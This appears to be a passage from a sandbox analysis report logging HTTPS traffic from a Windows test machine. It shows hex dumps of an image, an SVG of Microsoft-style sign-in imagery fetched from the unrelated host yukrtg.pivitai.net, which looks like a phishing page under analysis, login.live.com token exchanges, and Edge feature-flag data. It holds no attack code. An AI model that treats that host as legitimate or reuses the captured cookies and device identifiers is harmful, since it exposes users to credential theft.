2024-04-26 20:18:29 UTC	256	IN	Data Raw: 31 34 31 33 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 56 00 00 00 48 08 06 00 00 00 ad 04 dd dc 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 25 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 38 20 37 39 2e 31 36 34 30 33 36 2c 20 32 30 31 39 2f 30 38 2f 31 33 2d 30 31 3a 30 Data Ascii: 1413PNGIHDRVHtEXtSoftwareAdobe ImageReadyqe<%iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:0
2024-04-26 20:18:29 UTC	1369	IN	Data Raw: 3a 35 37 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 3e 20 3c 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 20 72 64 66 3a 61 62 6f 75 74 3d 22 22 20 78 6d 6c 6e 73 3a 78 6d 70 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 22 20 78 6d 6c 6e 73 3a 78 6d 70 4d 4d 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 6d 6d 2f 22 20 78 6d 6c 6e 73 3a 73 74 52 65 66 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 73 54 79 70 65 2f 52 65 73 6f 75 72 63 65 52 65 66 Data Ascii: :57 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef
2024-04-26 20:18:29 UTC	1369	IN	Data Raw: ff 8a 84 03 95 b8 2e de 1b 9e b6 78 4e 33 67 6c 31 18 0c 5f 10 eb b9 73 67 3f 55 f5 60 90 21 b5 64 c9 92 0a 94 ef 6a 6e 6e 56 7a b9 61 32 1c aa 52 03 79 d7 d1 a3 47 5f a0 92 3c ae 3f f6 d5 b1 16 f1 d7 6c ee 6e 06 83 e1 06 12 ca ad 20 a9 51 d1 a8 4e 9b 36 6d 70 63 59 d9 fe d6 96 96 39 3a 6b 22 a2 0c d8 a6 f2 f2 52 d4 0e a0 de 8b 90 02 88 99 bb 9b c1 60 78 46 ac 58 82 23 3e a9 42 aa 2f bd f4 93 ed a6 76 e3 41 d4 c2 83 0e 21 bc 40 bd 17 de 2e 27 10 30 18 0c cf 88 55 90 d7 07 d4 25 b7 4d aa 6e 6c 14 09 4f 7a 31 95 5c 61 0f 42 1b dc e5 0c 06 c3 75 62 85 0a 00 59 4c 7e 25 d5 91 e4 4a 0d 0b 20 b4 c1 19 43 0c 06 c3 75 62 45 95 2a ea 43 d6 ae fd f1 9f bd 90 34 95 96 3e 5f 00 52 a7 dc a3 62 1f 83 c1 60 28 13 2b 62 90 d4 0d 2b 41 6e 5f 79 25 c2 87 6a 60 75 49 c9 fb Data Ascii: .xN3gl1_sg?U`!djnnVza2RyG_<?ln QN6mpcY9:k"R`xFX#>B/vA!@.'0U%MnlOz1\aBubYL~%J CubE*C4>_Rb`(+b+An_y%j`uI
2024-04-26 20:18:29 UTC	1369	IN	Data Raw: 30 46 2e fd 28 3b d7 79 79 4f bc 65 ea 5d 28 cf c6 86 b2 4c 66 60 d0 ed d3 b9 6a a1 6c 56 61 92 70 52 a5 8b 3d 56 46 a0 41 c9 ae 43 ec d1 e4 11 43 78 36 e4 80 3a df 3d e8 f6 e9 00 75 b3 0a b2 2a 6c ec 39 f9 4d 32 b1 52 d3 5f fd 0c 68 72 99 7a 82 0d ca 78 5d b0 60 81 71 e1 7a 7e fe e2 56 9d ef 1e 74 fb 74 ac 58 28 9b 55 54 59 15 7b ac 71 e0 77 4d 2e c3 39 90 8e 29 7b ad 1b 8a 97 50 38 d4 26 7b 2d 32 e1 c6 bb 7d 4e 41 d9 ac 52 91 55 69 23 56 37 1a c3 09 90 cf cc 74 c2 78 e0 15 f5 f4 48 6f 56 b8 91 49 16 ca 08 9d 92 7e 77 89 fd 82 a0 db e7 04 94 cd 2a 55 59 55 52 62 a5 68 d0 fc be 39 44 91 9d b0 26 37 f8 90 cd 2a a4 1e a3 ae 0a dd e4 16 74 fb 54 41 dd ac 52 95 55 25 25 56 9c bc 28 7b 03 45 ae e0 36 a8 a9 72 53 d2 a7 1c 67 ea 61 00 28 2e e4 b7 77 d2 f9 ad 05 Data Ascii: 0F.(;yyOe](Lf`jlVapR=VFACCx6:=ul9M2R_hrzx]`qz~VttX(UTY{qwM.9){P8&{-2}NARUi#V7txHoVI~wUYURbh9D&7*tTARU%%V({E6rSga(.w
2024-04-26 20:18:29 UTC	784	IN	Data Raw: 88 8f 53 c7 b1 d3 fe 0b ba 7d 26 c6 87 0a bf 81 8c c7 3a 1b 6b 4c 62 b5 3b 8c 3a 33 79 0d dd a4 6a 93 9f f0 5c 9b 54 ee c5 e0 45 a1 9b 70 38 fc 9d ad 3d 04 e1 60 77 1d 92 aa 44 bb ff 20 66 d9 76 d7 41 ac e2 19 5d d4 0f 06 ef 88 9d 69 db b6 de bb bd 4b 07 fa fb b3 6d bb 08 03 dd 28 b1 aa 4e 8e a3 db d8 76 0c 46 f7 23 1c 03 61 ef 02 d9 4d 9c d1 6d 28 08 6b be 53 6f 2e e0 f6 19 19 1f 2a 13 12 c8 55 b4 45 c8 11 b1 da 3f 8e 63 64 55 1a 35 08 a4 6a 03 e1 09 27 5e a5 a2 2d 15 b2 1f 85 53 62 75 fa 61 3a 1c e8 c6 89 d5 8b 3e 94 21 1d 1c 64 a7 4b 30 1f 60 fb 8c 8d 0f 84 35 a8 fb 1a 88 d1 22 9c 10 ef ff 49 9f d2 8a 46 d9 b8 b1 6c a1 6a cc d5 ad 0e 2c 2f df fc 27 93 b5 00 54 a4 68 4e bc 07 93 b6 c4 83 6a 66 5a 2a 01 1f 83 ea c6 ac df 49 75 3c d8 67 02 f8 ce 10 d6 22 Data Ascii: S}&:kLb;:3yj\TEp8=`wD fvA]iKm(NvF#aMm(kSo.UE?cdU5j'^-Sbua:>!dK0`5"IFlj,/'ThNjfZIu<g"
2024-04-26 20:18:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.17	49752	104.21.32.98	443	8028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:18:29 UTC	498	OUT	GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1 Host: yukrtg.pivitai.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
2024-04-26 20:18:29 UTC	1149	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 20:18:29 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 116793 Cache-Control: public, max-age=31536000 Content-Md5: R2FAVxfpONfnQAuxVxXbHg== Etag: 0x8DB5C3F4BB4F03C Last-Modified: Wed, 24 May 2023 10:11:52 GMT Vary: Accept-Encoding X-Cache: HIT X-Ms-Blob-Type: BlockBlob X-Ms-Lease-Status: unlocked X-Ms-Request-Id: 3f57a61e-d01e-001a-4fd1-7ee411000000 X-Ms-Version: 2009-09-19 CF-Cache-Status: HIT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=L4awk55QrREF6TFoEB%2BS1u%2FmjKKRdFhTsO8reapADYlLARv1fvQcTQy8ZmsagHgMFiEFwKQa1y3%2FnUkg6nMTjFtQrQjd2imrt%2FnABUC2jPMRV4jsmWBwYREFdyAv4zIEWp1QbxQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a943265dc16dbb-MIA alt-svc: h3=":443"; ma=86400
2024-04-26 20:18:29 UTC	220	IN	Data Raw: 36 33 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 64 65 66 73 3e 3c 73 74 79 6c 65 3e 2e 61 7b 66 69 6c 6c 3a 6e 6f 6e 65 3b 7d 2e 62 7b 66 69 6c 6c 3a 23 34 30 34 30 34 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 64 65 66 73 3e 3c 72 65 63 74 20 63 6c 61 73 73 3d 22 61 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 62 22 20 64 3d 22 4d 34 30 2c 33 32 2e 35 37 38 56 34 30 48 Data Ascii: 638<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:none;}.b{fill:#404040;}</style></defs><rect class="a" width="48" height="48"/><path class="b" d="M40,32.578V40H
2024-04-26 20:18:29 UTC	1369	IN	Data Raw: 33 32 56 33 36 48 32 38 56 33 32 48 32 34 56 32 38 2e 37 36 36 41 31 30 2e 36 38 39 2c 31 30 2e 36 38 39 2c 30 2c 30 2c 31 2c 31 39 2c 33 30 61 31 30 2e 39 2c 31 30 2e 39 2c 30 2c 30 2c 31 2d 35 2e 35 34 37 2d 31 2e 35 2c 31 31 2e 31 30 36 2c 31 31 2e 31 30 36 2c 30 2c 30 2c 31 2d 32 2e 32 31 39 2d 31 2e 37 31 39 41 31 31 2e 33 37 33 2c 31 31 2e 33 37 33 2c 30 2c 30 2c 31 2c 39 2e 35 2c 32 34 2e 35 34 37 61 31 30 2e 34 2c 31 30 2e 34 2c 30 2c 30 2c 31 2d 31 2e 31 30 39 2d 32 2e 36 32 35 41 31 31 2e 36 31 36 2c 31 31 2e 36 31 36 2c 30 2c 30 2c 31 2c 38 2c 31 39 61 31 30 2e 39 2c 31 30 2e 39 2c 30 2c 30 2c 31 2c 31 2e 35 2d 35 2e 35 34 37 2c 31 31 2e 31 30 36 2c 31 31 2e 31 30 36 2c 30 2c 30 2c 31 2c 31 2e 37 31 39 2d 32 2e 32 31 39 41 31 31 2e 33 37 33 2c Data Ascii: 32V36H28V32H24V28.766A10.689,10.689,0,0,1,19,30a10.9,10.9,0,0,1-5.547-1.5,11.106,11.106,0,0,1-2.219-1.719A11.373,11.373,0,0,1,9.5,24.547a10.4,10.4,0,0,1-1.109-2.625A11.616,11.616,0,0,1,8,19a10.9,10.9,0,0,1,1.5-5.547,11.106,11.106,0,0,1,1.719-2.219A11.373,
2024-04-26 20:18:29 UTC	10	IN	Data Raw: 2f 3e 3c 2f 73 76 67 3e 0d 0a Data Ascii: /></svg>
2024-04-26 20:18:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.17	49766	40.126.7.32	443

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:19:14 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-04-26 20:19:14 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-26 20:19:14 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 26 Apr 2024 20:18:14 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C529_SN1 x-ms-request-id: b0e65f36-70b4-40e6-b369-792f9015a923 PPServer: PPV: 30 H: SN1PEPF0002F97A V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 26 Apr 2024 20:19:14 GMT Connection: close Content-Length: 11393
2024-04-26 20:19:14 UTC	11393	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.17	49767	13.107.5.88	443

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:19:14 UTC	537	OUT	GET /ab HTTP/1.1 Host: evoke-windowsservices-tas.msedge.net Cache-Control: no-store, no-cache X-PHOTOS-CALLERID: 9NMPJ99VJBWV X-EVOKE-RING: X-WINNEXT-RING: Public X-WINNEXT-TELEMETRYLEVEL: Basic X-WINNEXT-OSVERSION: 10.0.19045.0 X-WINNEXT-APPVERSION: 1.23082.131.0 X-WINNEXT-PLATFORM: Desktop X-WINNEXT-CANTAILOR: False X-MSEDGE-CLIENTID: {c1afbad7-f7da-40f2-92f9-8846a91d69bd} X-WINNEXT-PUBDEVICEID: dbfen2nYS7HW6ON4OdOknKxxv2CCI5LJBTojzDztjwI= If-None-Match: 2056388360_-1434155563 Accept-Encoding: gzip, deflate, br
2024-04-26 20:19:14 UTC	437	IN	HTTP/1.1 200 OK Content-Length: 7285 Content-Type: application/json; charset=utf-8 ETag: 1809948579_1579286590 Strict-Transport-Security: max-age=2592000 X-Content-Type-Options: nosniff X-ExP-TrackingId: 4627e3a2-cbba-4b5a-975b-2d8f116843bf X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: E507900D0BE343C0BB57D7B11D0363A2 Ref B: MIA301000108053 Ref C: 2024-04-26T20:19:14Z Date: Fri, 26 Apr 2024 20:19:13 GMT Connection: close
2024-04-26 20:19:14 UTC	1024	IN	Data Raw: 7b 22 46 65 61 74 75 72 65 73 22 3a 5b 22 68 69 67 68 71 75 61 6c 69 74 79 63 61 70 74 75 72 65 63 22 2c 22 79 6f 61 6c 77 39 38 30 31 63 66 22 2c 22 79 6f 63 33 37 32 31 22 2c 22 61 61 74 65 73 31 32 31 22 2c 22 79 6f 63 61 6c 38 33 30 22 2c 22 65 6d 70 72 6f 37 30 32 22 2c 22 79 6f 6e 6f 6e 32 34 38 22 2c 22 63 6f 6e 74 61 63 74 73 76 32 73 79 6e 63 6f 6e 6c 79 22 2c 22 79 6f 79 70 70 31 31 37 22 2c 22 79 6f 79 70 70 35 36 31 22 2c 22 79 6f 70 68 6f 31 35 36 22 2c 22 79 70 72 6f 6d 65 6c 65 73 73 22 2c 22 79 6f 72 65 6d 37 38 32 22 2c 22 79 6f 72 65 6d 33 32 35 22 2c 22 79 6f 72 6f 6d 39 33 39 22 2c 22 79 6f 79 70 70 36 33 38 22 2c 22 79 6f 61 61 6f 77 63 34 36 63 66 22 2c 22 79 6f 35 35 36 22 2c 22 79 6f 61 61 6f 32 36 37 22 2c 22 79 6f 70 72 69 32 35 Data Ascii: {"Features":["highqualitycapturec","yoalw9801cf","yoc3721","aates121","yocal830","empro702","yonon248","contactsv2synconly","yoypp117","yoypp561","yopho156","ypromeless","yorem782","yorem325","yorom939","yoypp638","yoaaowc46cf","yo556","yoaao267","yopri25
2024-04-26 20:19:14 UTC	1024	IN	Data Raw: 2c 22 31 34 67 36 22 3a 22 61 61 74 65 73 31 32 31 22 2c 22 31 38 66 7a 22 3a 22 79 6f 63 61 6c 38 33 30 22 2c 22 31 68 6a 65 22 3a 22 65 6d 70 72 6f 37 30 32 22 2c 22 31 71 61 38 22 3a 22 79 6f 6e 6f 6e 32 34 38 22 2c 22 31 77 6d 74 22 3a 22 63 6f 6e 74 61 63 74 73 76 32 73 79 6e 63 6f 6e 6c 79 22 2c 22 32 69 77 6a 22 3a 22 79 6f 79 70 70 31 31 37 22 2c 22 32 6a 36 61 22 3a 22 79 6f 79 70 70 35 36 31 22 2c 22 32 6b 71 32 22 3a 22 79 6f 70 68 6f 31 35 36 22 2c 22 32 6c 61 64 22 3a 22 79 70 72 6f 6d 65 6c 65 73 73 22 2c 22 32 6f 63 64 22 3a 22 79 6f 72 65 6d 37 38 32 22 2c 22 32 72 65 6b 22 3a 22 79 6f 72 65 6d 33 32 35 22 2c 22 32 73 63 78 22 3a 22 79 6f 72 6f 6d 39 33 39 22 2c 22 32 74 70 33 22 3a 22 79 6f 79 70 70 36 33 38 22 2c 22 33 30 62 38 22 3a 22 Data Ascii: ,"14g6":"aates121","18fz":"yocal830","1hje":"empro702","1qa8":"yonon248","1wmt":"contactsv2synconly","2iwj":"yoypp117","2j6a":"yoypp561","2kq2":"yopho156","2lad":"ypromeless","2ocd":"yorem782","2rek":"yorem325","2scx":"yorom939","2tp3":"yoypp638","30b8":"
2024-04-26 20:19:14 UTC	1024	IN	Data Raw: 32 36 34 22 2c 22 35 39 30 71 22 3a 22 34 61 33 30 64 34 35 35 22 2c 22 35 39 67 67 22 3a 22 32 69 32 68 65 31 31 38 22 2c 22 35 39 67 6a 22 3a 22 34 64 65 35 67 35 34 32 22 2c 22 35 39 76 7a 22 3a 22 62 65 63 34 34 37 35 37 22 2c 22 35 61 39 73 22 3a 22 39 38 34 65 39 37 37 34 22 2c 22 35 61 74 6b 22 3a 22 35 35 35 64 37 39 37 38 22 2c 22 35 62 61 74 22 3a 22 65 6a 66 34 36 37 39 35 22 2c 22 35 63 70 66 22 3a 22 34 39 62 34 67 31 33 33 22 2c 22 35 63 72 73 22 3a 22 33 62 66 39 67 38 35 35 22 2c 22 35 64 77 37 22 3a 22 69 34 37 62 65 31 37 38 22 2c 22 35 65 74 36 22 3a 22 32 34 38 66 61 31 38 36 22 2c 22 35 66 6c 32 22 3a 22 68 35 31 66 30 33 34 32 22 2c 22 35 66 79 6f 22 3a 22 68 64 65 31 67 32 36 37 22 2c 22 35 66 79 71 22 3a 22 34 6a 6a 66 62 37 36 38 Data Ascii: 264","590q":"4a30d455","59gg":"2i2he118","59gj":"4de5g542","59vz":"bec44757","5a9s":"984e9774","5atk":"555d7978","5bat":"ejf46795","5cpf":"49b4g133","5crs":"3bf9g855","5dw7":"i47be178","5et6":"248fa186","5fl2":"h51f0342","5fyo":"hde1g267","5fyq":"4jjfb768
2024-04-26 20:19:14 UTC	1024	IN	Data Raw: 7d 7d 2c 7b 22 49 64 22 3a 22 59 6f 75 72 50 68 6f 6e 65 22 2c 22 50 61 72 61 6d 65 74 65 72 73 22 3a 7b 22 41 41 4f 57 43 34 36 22 3a 36 34 30 30 2c 22 41 41 4f 57 43 34 37 22 3a 37 34 30 30 2c 22 41 41 4f 57 43 36 31 22 3a 31 36 30 30 2c 22 41 41 4f 57 43 36 32 22 3a 32 36 30 30 2c 22 41 41 4f 57 43 36 33 22 3a 33 36 30 30 2c 22 41 69 72 70 6c 61 6e 65 4d 6f 64 65 53 74 61 74 75 73 22 3a 74 72 75 65 2c 22 41 75 74 6f 48 79 64 72 61 74 65 64 49 6d 61 67 65 73 43 6f 75 6e 74 22 3a 30 2c 22 43 61 6c 6c 69 6e 67 41 6c 74 42 6c 75 65 74 6f 6f 74 68 50 61 69 72 69 6e 67 45 76 65 6e 74 22 3a 74 72 75 65 2c 22 43 61 6c 6c 69 6e 67 45 78 69 74 43 6f 6e 66 69 72 6d 61 74 69 6f 6e 22 3a 74 72 75 65 2c 22 43 61 6c 6c 69 6e 67 4f 53 53 65 72 76 69 63 69 6e 67 46 69 Data Ascii: }},{"Id":"YourPhone","Parameters":{"AAOWC46":6400,"AAOWC47":7400,"AAOWC61":1600,"AAOWC62":2600,"AAOWC63":3600,"AirplaneModeStatus":true,"AutoHydratedImagesCount":0,"CallingAltBluetoothPairingEvent":true,"CallingExitConfirmation":true,"CallingOSServicingFi
2024-04-26 20:19:14 UTC	1024	IN	Data Raw: 3a 74 72 75 65 2c 22 49 73 41 75 74 68 56 32 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 4d 65 64 69 61 50 61 63 6b 43 68 65 63 6b 22 3a 74 72 75 65 2c 22 4d 65 73 73 61 67 69 6e 67 43 68 61 74 46 69 6c 74 65 72 54 6f 67 67 6c 65 22 3a 74 72 75 65 2c 22 4d 65 73 73 61 67 69 6e 67 43 6f 6e 73 65 6e 74 56 32 22 3a 74 72 75 65 2c 22 4d 65 73 73 61 67 69 6e 67 43 6f 6e 76 65 72 73 61 74 69 6f 6e 56 69 65 77 22 3a 74 72 75 65 2c 22 4d 65 73 73 61 67 69 6e 67 45 6e 61 62 6c 65 48 69 64 69 6e 67 22 3a 74 72 75 65 2c 22 4d 65 73 73 61 67 69 6e 67 45 6e 61 62 6c 65 4d 75 74 69 6e 67 22 3a 74 72 75 65 2c 22 4d 65 73 73 61 67 69 6e 67 45 6e 61 62 6c 65 50 69 6e 6e 69 6e 67 22 3a 74 72 75 65 2c 22 4d 65 73 73 61 67 69 6e 67 53 65 61 72 63 68 22 3a 74 72 75 65 2c 22 Data Ascii: :true,"IsAuthV2Enabled":true,"MediaPackCheck":true,"MessagingChatFilterToggle":true,"MessagingConsentV2":true,"MessagingConversationView":true,"MessagingEnableHiding":true,"MessagingEnableMuting":true,"MessagingEnablePinning":true,"MessagingSearch":true,"
2024-04-26 20:19:14 UTC	1024	IN	Data Raw: 69 6e 67 54 6f 70 30 31 31 22 3a 74 72 75 65 2c 22 52 65 6d 6f 74 69 6e 67 54 6f 70 30 31 32 22 3a 74 72 75 65 2c 22 52 65 6d 6f 74 69 6e 67 54 6f 70 30 31 35 22 3a 74 72 75 65 2c 22 52 6f 6d 65 44 69 73 61 62 6c 65 64 22 3a 34 34 31 35 30 33 2c 22 53 65 63 75 72 65 43 6f 6e 74 65 6e 74 22 3a 74 72 75 65 2c 22 53 68 65 6c 6c 45 78 74 65 6e 64 65 64 4c 65 66 74 50 61 6e 65 22 3a 74 72 75 65 2c 22 54 65 73 74 46 65 61 74 75 72 65 32 22 3a 66 61 6c 73 65 2c 22 55 6e 69 76 65 72 73 61 6c 42 6c 75 65 74 6f 6f 74 68 50 61 69 72 69 6e 67 22 3a 74 72 75 65 2c 22 57 68 61 74 73 4e 65 77 43 4e 22 3a 74 72 75 65 2c 22 59 50 50 43 61 74 61 73 74 72 6f 70 68 69 63 45 72 72 6f 72 41 75 74 6f 52 65 73 65 74 22 3a 74 72 75 65 2c 22 59 50 50 43 6f 6e 73 65 63 75 74 69 76 Data Ascii: ingTop011":true,"RemotingTop012":true,"RemotingTop015":true,"RomeDisabled":441503,"SecureContent":true,"ShellExtendedLeftPane":true,"TestFeature2":false,"UniversalBluetoothPairing":true,"WhatsNewCN":true,"YPPCatastrophicErrorAutoReset":true,"YPPConsecutiv
2024-04-26 20:19:14 UTC	1024	IN	Data Raw: 79 6f 35 35 36 3a 33 30 39 38 36 35 35 36 3b 79 6f 61 61 6f 32 36 37 3a 33 30 34 33 34 36 37 32 3b 79 6f 70 72 69 32 35 37 3a 33 30 34 36 34 34 33 33 3b 79 6f 31 37 39 3a 33 30 34 34 35 33 31 30 3b 79 6f 69 73 61 38 36 31 3a 33 30 35 32 35 38 36 38 3b 79 6f 72 65 6d 31 34 31 3a 33 30 34 38 36 33 35 33 3b 79 6f 79 70 70 36 35 32 3a 33 30 35 31 35 34 38 33 3b 79 6f 35 32 35 3a 33 30 35 35 33 39 38 35 3b 79 6f 36 30 36 3a 33 30 35 32 37 38 35 30 3b 79 6f 6e 6f 74 36 33 33 3a 33 30 36 32 36 30 37 38 3b 79 6f 79 70 70 38 35 39 3a 33 30 36 38 37 38 35 39 3b 79 6f 69 6e 64 36 36 35 3a 33 30 35 39 35 31 36 33 3b 79 6f 64 63 67 38 33 30 3a 33 30 37 31 32 39 34 39 3b 6f 6e 6c 79 5f 74 6f 61 73 74 63 6f 6e 74 65 78 74 6d 65 6e 75 3a 33 30 36 34 38 30 38 31 3b 61 6a Data Ascii: yo556:30986556;yoaao267:30434672;yopri257:30464433;yo179:30445310;yoisa861:30525868;yorem141:30486353;yoypp652:30515483;yo525:30553985;yo606:30527850;yonot633:30626078;yoypp859:30687859;yoind665:30595163;yodcg830:30712949;only_toastcontextmenu:30648081;aj
